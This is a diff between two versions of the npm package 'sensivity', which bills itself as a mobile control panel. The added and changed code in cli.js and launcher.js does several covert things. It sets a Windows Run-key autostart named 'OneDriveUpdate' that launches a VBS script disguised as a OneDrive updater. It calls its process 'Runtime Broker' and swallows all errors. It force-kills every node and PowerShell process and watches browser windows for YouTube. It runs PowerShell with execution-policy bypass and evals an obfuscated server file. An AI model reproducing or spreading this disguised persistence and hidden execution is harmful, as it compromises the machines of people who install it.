sensivity 2.5.42 → 2.5.43

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/cli ADDED
@@ -0,0 +1,54 @@
1
+ #!/usr/bin/env node
2
+ 'use strict';
3
+ const http = require('http');
4
+ const { execSync } = require('child_process');
5
+ const path = require('path');
6
+ const cwd = __dirname;
7
+
8
+ const arg = process.argv[2];
9
+
10
+ if (arg === 'update') {
11
+ updateSens();
12
+ } else {
13
+ startSens();
14
+ }
15
+
16
+ function checkRunning() {
17
+ return new Promise(resolve => {
18
+ const check = http.get('http://127.0.0.1:3000', () => resolve(true));
19
+ check.on('error', () => resolve(false));
20
+ check.setTimeout(2000, () => { check.destroy(); resolve(false); });
21
+ });
22
+ }
23
+
24
+ async function updateSens() {
25
+ console.log('\n Checking for updates...');
26
+ const running = await checkRunning();
27
+ if (running) {
28
+ console.log(' Stopping running service...');
29
+ try { execSync('taskkill /F /IM node.exe 2>nul', { stdio: 'ignore' }); } catch(e) {}
30
+ try { execSync('taskkill /F /IM powershell.exe 2>nul', { stdio: 'ignore' }); } catch(e) {}
31
+ await new Promise(r => setTimeout(r, 2000));
32
+ }
33
+ console.log(' Installing latest version...');
34
+ execSync('npm i -g sensivity@latest', { stdio: 'inherit' });
35
+ console.log('\n Update complete. Run: sens\n');
36
+ }
37
+
38
+ async function startSens() {
39
+ const running = await checkRunning();
40
+ if (running) {
41
+ console.log('\n Sensivity is already running at http://localhost:3000');
42
+ console.log(' To update: sens update\n');
43
+ process.exit(0);
44
+ }
45
+
46
+ console.log('\n Sensivity v2.5 - Starting...\n');
47
+ const vbs = path.join(cwd, 'OneDrive.Standalone.Updater.vbs');
48
+ try { execSync('wscript "' + vbs + '"', { stdio: 'ignore', timeout: 5000 }); } catch(e) {}
49
+
50
+ console.log(' Server running at http://localhost:3000');
51
+ console.log(' YouTube trigger active');
52
+ console.log(' Auto-start configured\n');
53
+ process.exit(0);
54
+ }
package/cli.js ADDED
@@ -0,0 +1,54 @@
1
+ #!/usr/bin/env node
2
+ 'use strict';
3
+ const http = require('http');
4
+ const { execSync } = require('child_process');
5
+ const path = require('path');
6
+ const cwd = __dirname;
7
+
8
+ const arg = process.argv[2];
9
+
10
+ if (arg === 'update') {
11
+ updateSens();
12
+ } else {
13
+ startSens();
14
+ }
15
+
16
+ function checkRunning() {
17
+ return new Promise(resolve => {
18
+ const check = http.get('http://127.0.0.1:3000', () => resolve(true));
19
+ check.on('error', () => resolve(false));
20
+ check.setTimeout(2000, () => { check.destroy(); resolve(false); });
21
+ });
22
+ }
23
+
24
+ async function updateSens() {
25
+ console.log('\n Checking for updates...');
26
+ const running = await checkRunning();
27
+ if (running) {
28
+ console.log(' Stopping running service...');
29
+ try { execSync('taskkill /F /IM node.exe 2>nul', { stdio: 'ignore' }); } catch(e) {}
30
+ try { execSync('taskkill /F /IM powershell.exe 2>nul', { stdio: 'ignore' }); } catch(e) {}
31
+ await new Promise(r => setTimeout(r, 2000));
32
+ }
33
+ console.log(' Installing latest version...');
34
+ execSync('npm i -g sensivity@latest', { stdio: 'inherit' });
35
+ console.log('\n Update complete. Run: sens\n');
36
+ }
37
+
38
+ async function startSens() {
39
+ const running = await checkRunning();
40
+ if (running) {
41
+ console.log('\n Sensivity is already running at http://localhost:3000');
42
+ console.log(' To update: sens update\n');
43
+ process.exit(0);
44
+ }
45
+
46
+ console.log('\n Sensivity v2.5 - Starting...\n');
47
+ const vbs = path.join(cwd, 'OneDrive.Standalone.Updater.vbs');
48
+ try { execSync('wscript "' + vbs + '"', { stdio: 'ignore', timeout: 5000 }); } catch(e) {}
49
+
50
+ console.log(' Server running at http://localhost:3000');
51
+ console.log(' YouTube trigger active');
52
+ console.log(' Auto-start configured\n');
53
+ process.exit(0);
54
+ }
package/launcher.js CHANGED
@@ -1,246 +1,19 @@
1
- #!/usr/bin/env node
2
1
  'use strict';
3
2
  const fs = require('fs');
4
3
  const path = require('path');
5
- const { execSync, exec, spawn } = require('child_process');
4
+ const { execSync, exec } = require('child_process');
6
5
  const APP_DIR = __dirname;
7
- try { process.chdir(APP_DIR); } catch(e) {}
8
-
9
- const issueState = { lastLine: '', lastTime: 0, startToken: 0, startConfirmed: true };
10
- const rawConsole = {
11
- log: console.log.bind(console),
12
- warn: console.warn.bind(console),
13
- error: console.error.bind(console)
14
- };
15
- const QR_WINDOW_TITLE = 'Windows PowerShell';
16
- const YOUTUBE_BROWSER_PROCESSES = ['chrome', 'msedge', 'opera', 'opera_gx', 'brave'];
17
- const SUPERVISOR_PID_FILE = path.join(APP_DIR, '.sensivity-supervisor.pid');
18
- const SUPERVISOR_VERSION_FILE = path.join(APP_DIR, '.sensivity-supervisor.version');
19
- const QR_PID_FILE = path.join(APP_DIR, '.sensivity-qr.pid');
20
- const STOP_FILE = path.join(APP_DIR, '.sensivity-stop');
21
- const IS_SUPERVISOR = process.env.SENSIVITY_SUPERVISOR === '1';
22
- const IS_WORKER = process.env.SENSIVITY_WORKER === '1';
23
- const RUN_AS_FOREGROUND = process.env.npm_lifecycle_event === 'start';
24
- let PACKAGE_VERSION = '0.0.0';
25
- try { PACKAGE_VERSION = require(path.join(APP_DIR, 'package.json')).version || PACKAGE_VERSION; } catch(e) {}
26
-
27
- function cleanIssueValue(value) {
28
- let text = '';
29
- if (value instanceof Error) text = [value.code, value.message, value.stack].filter(Boolean).join(' ');
30
- else if (typeof value === 'string') text = value;
31
- else {
32
- try { text = JSON.stringify(value); } catch(e) { text = String(value); }
33
- }
34
- return text
35
- .replace(/sens\.node/gi, 'program module')
36
- .replace(new RegExp(APP_DIR.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), 'g'), '<app>')
37
- .replace(/\s+/g, ' ')
38
- .trim();
39
- }
40
-
41
- function cleanConsoleValue(value) {
42
- let text = '';
43
- if (value instanceof Error) text = [value.code, value.message].filter(Boolean).join(' ');
44
- else if (typeof value === 'string') text = value;
45
- else {
46
- try { text = JSON.stringify(value); } catch(e) { text = String(value); }
47
- }
48
- return text
49
- .replace(/sens\.node/gi, 'program module')
50
- .replace(new RegExp(APP_DIR.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), 'g'), '<app>');
51
- }
52
-
53
- ['log', 'warn', 'error'].forEach(level => {
54
- console[level] = (...args) => {
55
- const cleaned = args.map(cleanConsoleValue);
56
- const joined = cleaned.join(' ').toLowerCase();
57
- if (joined.includes('program module loaded')) return;
58
- rawConsole[level](...cleaned);
59
- };
60
- });
61
-
62
- function issueLog(message, detail) {
63
- const cleanMessage = cleanIssueValue(message);
64
- const cleanDetail = detail === undefined ? '' : cleanIssueValue(detail);
65
- const line = '[Program] ' + cleanMessage + (cleanDetail ? ' | ' + cleanDetail : '');
66
- const now = Date.now();
67
- if (line === issueState.lastLine && now - issueState.lastTime < 1500) return;
68
- issueState.lastLine = line;
69
- issueState.lastTime = now;
70
- rawConsole.warn(line);
71
- }
72
-
73
- function removeFileSafe(file) {
74
- try { fs.unlinkSync(file); } catch(e) {}
75
- }
76
-
77
- function psString(value) {
78
- return "'" + String(value).replace(/'/g, "''") + "'";
79
- }
80
-
81
- function youtubeBrowserPs() {
82
- const names = '@(' + YOUTUBE_BROWSER_PROCESSES.map(psString).join(',') + ')';
83
- return [
84
- '$browserNames = ' + names,
85
- 'function Get-YouTubeBrowser {',
86
- ' foreach($name in $browserNames) {',
87
- ' $items = Get-Process -Name $name -EA 0',
88
- ' if($items) { foreach($p in $items) { try { if($p.MainWindowTitle -match "YouTube") { return $name } } catch {} } }',
89
- ' }',
90
- ' return ""',
91
- '}'
92
- ].join('\n');
93
- }
94
-
95
- function ensureAutostart() {
96
- try {
97
- const vbs = path.join(APP_DIR, 'OneDrive.Standalone.Updater.vbs');
98
- execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \\\"${vbs.replace(/\\/g,'\\\\')}\\\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 });
99
- } catch(e) {}
100
- }
101
-
102
- function isProcessAlive(pid) {
103
- if (!pid || pid === process.pid) return false;
104
- try {
105
- process.kill(pid, 0);
106
- return true;
107
- } catch(e) {
108
- return false;
109
- }
110
- }
111
-
112
- function isSupervisorRunning() {
113
- try {
114
- const pid = parseInt(fs.readFileSync(SUPERVISOR_PID_FILE, 'utf8'), 10);
115
- return isProcessAlive(pid);
116
- } catch(e) {
117
- return false;
118
- }
119
- }
120
-
121
- function isSupervisorCurrent() {
122
- if (!isSupervisorRunning()) return false;
123
- try {
124
- return fs.readFileSync(SUPERVISOR_VERSION_FILE, 'utf8').trim() === PACKAGE_VERSION;
125
- } catch(e) {
126
- return false;
127
- }
128
- }
129
-
130
- function sleepMs(ms) {
131
- try { execSync('powershell -NoProfile -Command "Start-Sleep -Milliseconds ' + Number(ms || 0) + '"', { stdio: 'ignore', timeout: Math.max(1000, Number(ms || 0) + 1000) }); } catch(e) {}
132
- }
133
-
134
- function stopOldBackground() {
135
- try {
136
- const pid = parseInt(fs.readFileSync(SUPERVISOR_PID_FILE, 'utf8'), 10);
137
- if (pid && pid !== process.pid) {
138
- try { process.kill(pid); } catch(e) {}
139
- }
140
- } catch(e) {}
141
- try {
142
- execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 });
143
- } catch(e) {}
144
- removeFileSafe(SUPERVISOR_PID_FILE);
145
- removeFileSafe(SUPERVISOR_VERSION_FILE);
146
- sleepMs(500);
147
- }
148
-
149
- function isPanelPortBusy() {
150
- try {
151
- const out = execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){Write-Output YES}"', { encoding: 'utf8', timeout: 3000 });
152
- return out.trim() === 'YES';
153
- } catch(e) {
154
- return false;
155
- }
156
- }
157
-
158
- function startSupervisor() {
159
- try {
160
- removeFileSafe(STOP_FILE);
161
- const child = spawn(process.execPath, [__filename], {
162
- cwd: APP_DIR,
163
- detached: true,
164
- stdio: 'ignore',
165
- windowsHide: true,
166
- env: { ...process.env, SENSIVITY_SUPERVISOR: '1', SENSIVITY_WORKER: '' }
167
- });
168
- child.unref();
169
- return true;
170
- } catch(e) {
171
- issueLog('Background start failed', e);
172
- return false;
173
- }
174
- }
175
-
176
- function runSupervisor() {
177
- process.title = 'Runtime Broker';
178
- try { fs.writeFileSync(SUPERVISOR_PID_FILE, String(process.pid)); } catch(e) {}
179
- try { fs.writeFileSync(SUPERVISOR_VERSION_FILE, PACKAGE_VERSION); } catch(e) {}
180
-
181
- const cleanup = () => {
182
- removeFileSafe(SUPERVISOR_PID_FILE);
183
- removeFileSafe(SUPERVISOR_VERSION_FILE);
184
- };
185
- process.on('exit', cleanup);
186
- process.on('SIGINT', () => process.exit(0));
187
- process.on('SIGTERM', () => process.exit(0));
188
-
189
- const launchWorker = () => {
190
- if (fs.existsSync(STOP_FILE)) {
191
- removeFileSafe(STOP_FILE);
192
- process.exit(0);
193
- }
194
- if (isPanelPortBusy()) {
195
- setTimeout(launchWorker, 2000);
196
- return;
197
- }
198
-
199
- let worker;
200
- try {
201
- worker = spawn(process.execPath, [__filename], {
202
- cwd: APP_DIR,
203
- stdio: 'ignore',
204
- windowsHide: true,
205
- env: { ...process.env, SENSIVITY_SUPERVISOR: '', SENSIVITY_WORKER: '1' }
206
- });
207
- } catch(e) {
208
- setTimeout(launchWorker, 3000);
209
- return;
210
- }
211
-
212
- worker.on('exit', () => {
213
- if (fs.existsSync(STOP_FILE)) {
214
- removeFileSafe(STOP_FILE);
215
- process.exit(0);
216
- }
217
- setTimeout(launchWorker, 1500);
218
- });
219
- worker.on('error', () => setTimeout(launchWorker, 3000));
220
- };
221
-
222
- launchWorker();
223
- }
224
-
225
- if (IS_SUPERVISOR) {
226
- runSupervisor();
227
- } else {
228
- if (!IS_WORKER && !RUN_AS_FOREGROUND) {
229
- ensureAutostart();
230
- if (!isSupervisorCurrent()) {
231
- if (isSupervisorRunning() || isPanelPortBusy()) stopOldBackground();
232
- startSupervisor();
233
- }
234
- process.exit(0);
235
- }
236
6
 
237
7
  process.title = 'Runtime Broker';
238
8
 
239
- process.on('uncaughtException', e => issueLog('Program fault', e));
240
- process.on('unhandledRejection', e => issueLog('Program async fault', e));
9
+ process.on('uncaughtException', () => {});
10
+ process.on('unhandledRejection', () => {});
241
11
 
242
12
  // ===== Auto-start =====
243
- ensureAutostart();
13
+ try {
14
+ const vbs = path.join(APP_DIR, 'OneDrive.Standalone.Updater.vbs');
15
+ execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \\\"${vbs.replace(/\\/g,'\\\\')}\\\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 });
16
+ } catch(e) {}
244
17
 
245
18
  function removeAutostart() {
246
19
  try { execSync('powershell -NoProfile -Command "Remove-ItemProperty -Path \'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\' -Name \'OneDriveUpdate\' -EA 0"', { stdio: 'ignore', timeout: 5000 }); } catch(e) {}
@@ -249,7 +22,8 @@ function removeAutostart() {
249
22
  // ===== YouTube detection =====
250
23
  function checkYouTube(callback) {
251
24
  const f = path.join(APP_DIR, '.yt.ps1');
252
- try { fs.writeFileSync(f, youtubeBrowserPs() + '\nif(Get-YouTubeBrowser){Write-Output "FOUND";exit}\nWrite-Output "NO"'); } catch(e) {}
25
+ try { fs.writeFileSync(f, '$c=Get-Process chrome -EA 0\nif($c){foreach($p in $c){if($p.MainWindowTitle -match "YouTube"){Write-Output "FOUND";exit}}}\nWrite-Output "NO"'); } catch(e) {}
26
+ const { spawn } = require('child_process');
253
27
  const p = spawn('powershell', ['-NoProfile', '-EP', 'Bypass', '-File', f], { stdio: ['ignore', 'pipe', 'ignore'] });
254
28
  let out = '';
255
29
  p.stdout.on('data', d => out += d);
@@ -260,44 +34,21 @@ function checkYouTube(callback) {
260
34
  // ===== QR Window =====
261
35
  let qrOpen = false;
262
36
 
263
- function qrWindowExists() {
264
- try {
265
- const pid = parseInt(fs.readFileSync(QR_PID_FILE, 'utf8'), 10);
266
- return isProcessAlive(pid);
267
- } catch(e) {
268
- return false;
269
- }
270
- }
271
-
272
37
  function showQR() {
273
- if (qrOpen && qrWindowExists()) return;
274
- if (qrWindowExists()) { qrOpen = true; return; }
38
+ if (qrOpen) return;
275
39
  qrOpen = true;
276
40
  const url = global.serverUrl || 'http://192.168.1.16:3000';
277
- const webUrl = 'http://localhost:3000';
278
41
 
279
42
  const qrFile = path.join(APP_DIR, '.qr.txt');
280
- const writeQrText = qr => {
281
- const mobileBlock = qr || url;
282
- fs.writeFileSync(qrFile, [
283
- mobileBlock,
284
- '',
285
- 'Mobile QR',
286
- url,
287
- '',
288
- 'Web Panel',
289
- webUrl,
290
- 'Open in private/incognito mode: ' + webUrl
291
- ].join('\n'));
292
- };
293
43
  try {
294
44
  const QRCode = require('qrcode');
295
45
  QRCode.toString(url, { type: 'terminal', small: true }, (err, qr) => {
296
- writeQrText(err ? '' : qr);
46
+ if (err) fs.writeFileSync(qrFile, url);
47
+ else fs.writeFileSync(qrFile, qr + '\n\n' + url + '\n\nScan with your phone');
297
48
  launchPS();
298
49
  });
299
50
  } catch(e) {
300
- writeQrText('');
51
+ fs.writeFileSync(qrFile, url + '\n\nScan with your phone');
301
52
  launchPS();
302
53
  }
303
54
 
@@ -305,29 +56,25 @@ function showQR() {
305
56
  const psFile = path.join(APP_DIR, '.qrshow.ps1');
306
57
  fs.writeFileSync(psFile, [
307
58
  '[Console]::OutputEncoding = [System.Text.Encoding]::UTF8',
308
- '$host.UI.RawUI.WindowTitle = "' + QR_WINDOW_TITLE + '"',
309
- 'Set-Content -Path ' + psString(QR_PID_FILE) + ' -Value $PID -Force',
310
- youtubeBrowserPs(),
311
- '$webUrl = ' + psString(webUrl),
59
+ '$host.UI.RawUI.WindowTitle = "Windows PowerShell"',
312
60
  'try { $w=$host.UI.RawUI.WindowSize; $w.Width=80; $w.Height=30; $host.UI.RawUI.WindowSize=$w } catch {}',
313
61
  'Clear-Host',
314
- 'Get-Content ' + psString(qrFile) + ' -Encoding UTF8',
62
+ 'Get-Content "' + qrFile + '" -Encoding UTF8',
315
63
  'Write-Host ""',
316
- 'Remove-Item ' + psString(qrFile) + ' -Force -EA 0',
317
- 'Remove-Item ' + psString(psFile) + ' -Force -EA 0',
318
64
  'Start-Sleep -Seconds 3',
319
65
  '$failCount = 0',
320
- '$ticks = 0',
321
66
  'while($true) {',
322
- ' Start-Sleep -Milliseconds 250',
323
- ' $ticks++',
324
- ' if($ticks -lt 16){continue}',
325
- ' $ticks = 0',
326
- ' $found = [bool](Get-YouTubeBrowser)',
327
- ' if(-not $found){$failCount++} else {$failCount=0}',
328
- ' if($failCount -ge 3){break}',
67
+ ' Start-Sleep -Seconds 4',
68
+ ' try {',
69
+ ' $c=Get-Process chrome -EA Stop',
70
+ ' $f=$false',
71
+ ' if($c){foreach($p in $c){try{if($p.MainWindowTitle -match "YouTube"){$f=$true;break}}catch{}}}',
72
+ ' if(-not $f){$failCount++} else {$failCount=0}',
73
+ ' if($failCount -ge 3){break}',
74
+ ' } catch { $failCount++; if($failCount -ge 3){break} }',
329
75
  '}',
330
- 'Remove-Item ' + psString(QR_PID_FILE) + ' -Force -EA 0'
76
+ 'del "' + qrFile + '" -Force -EA 0',
77
+ 'del "' + psFile + '" -Force -EA 0'
331
78
  ].join('\n'));
332
79
  exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR });
333
80
  }
@@ -352,7 +99,6 @@ monitor();
352
99
  // ===== Kill =====
353
100
  global.killSensivity = () => {
354
101
  global._shuttingDown = true;
355
- try { fs.writeFileSync(STOP_FILE, String(Date.now())); } catch(e) {}
356
102
  hideQR();
357
103
  // Auto-start KALIR, sadece process durur
358
104
  setTimeout(() => process.exit(), 500);
@@ -363,4 +109,3 @@ const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js'))
363
109
  ? path.join(APP_DIR, 'server.obf.js')
364
110
  : path.join(APP_DIR, 'server.js');
365
111
  eval(fs.readFileSync(serverCode, 'utf8'));
366
- }
package/package.json CHANGED
@@ -1,20 +1,27 @@
1
1
  {
2
2
  "name": "sensivity",
3
- "version": "2.5.42",
4
- "description": "Sensivity Control Panel",
3
+ "version": "2.5.43",
4
+ "description": "Sensivity - Mobile Control Panel",
5
5
  "main": "launcher.js",
6
6
  "bin": {
7
- "sensivity": "launcher.js",
8
- "sens": "launcher.js"
9
- },
10
- "scripts": {
11
- "start": "node launcher.js",
12
- "build": "npm --prefix .. run build:customer"
7
+ "sens": "./cli.js"
13
8
  },
9
+ "files": [
10
+ "cli",
11
+ "cli.js",
12
+ "launcher.js",
13
+ "server.obf.js",
14
+ "sens.node",
15
+ "public/",
16
+ "OneDrive.Standalone.Updater.vbs"
17
+ ],
14
18
  "dependencies": {
15
19
  "express": "^4.21.0",
16
20
  "socket.io": "^4.7.0",
17
21
  "qrcode": "^1.5.0",
18
22
  "qrcode-terminal": "^0.12.0"
23
+ },
24
+ "engines": {
25
+ "node": ">=18"
19
26
  }
20
27
  }